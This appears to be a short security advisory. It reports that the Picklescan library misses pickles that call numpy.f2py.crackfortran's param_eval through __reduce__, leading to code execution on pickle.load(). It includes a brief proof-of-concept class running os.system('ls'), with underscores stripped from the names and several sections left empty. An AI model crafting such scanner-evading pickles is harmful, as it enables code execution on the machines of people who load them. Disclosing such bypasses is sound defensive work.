Summary

Details

• First, the attacker crafts the payload by calling the numpy.f2py.crackfortran.param eval function via reduce method.
• Then, when the victim checks whether the pickle file is safe by using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.

PoC

class RCE:
  def  reduce (self):
    from numpy.f2py.crackfortran import param eval
    return (param eval,("os.system('ls')",None,None,None))

Impact

Report by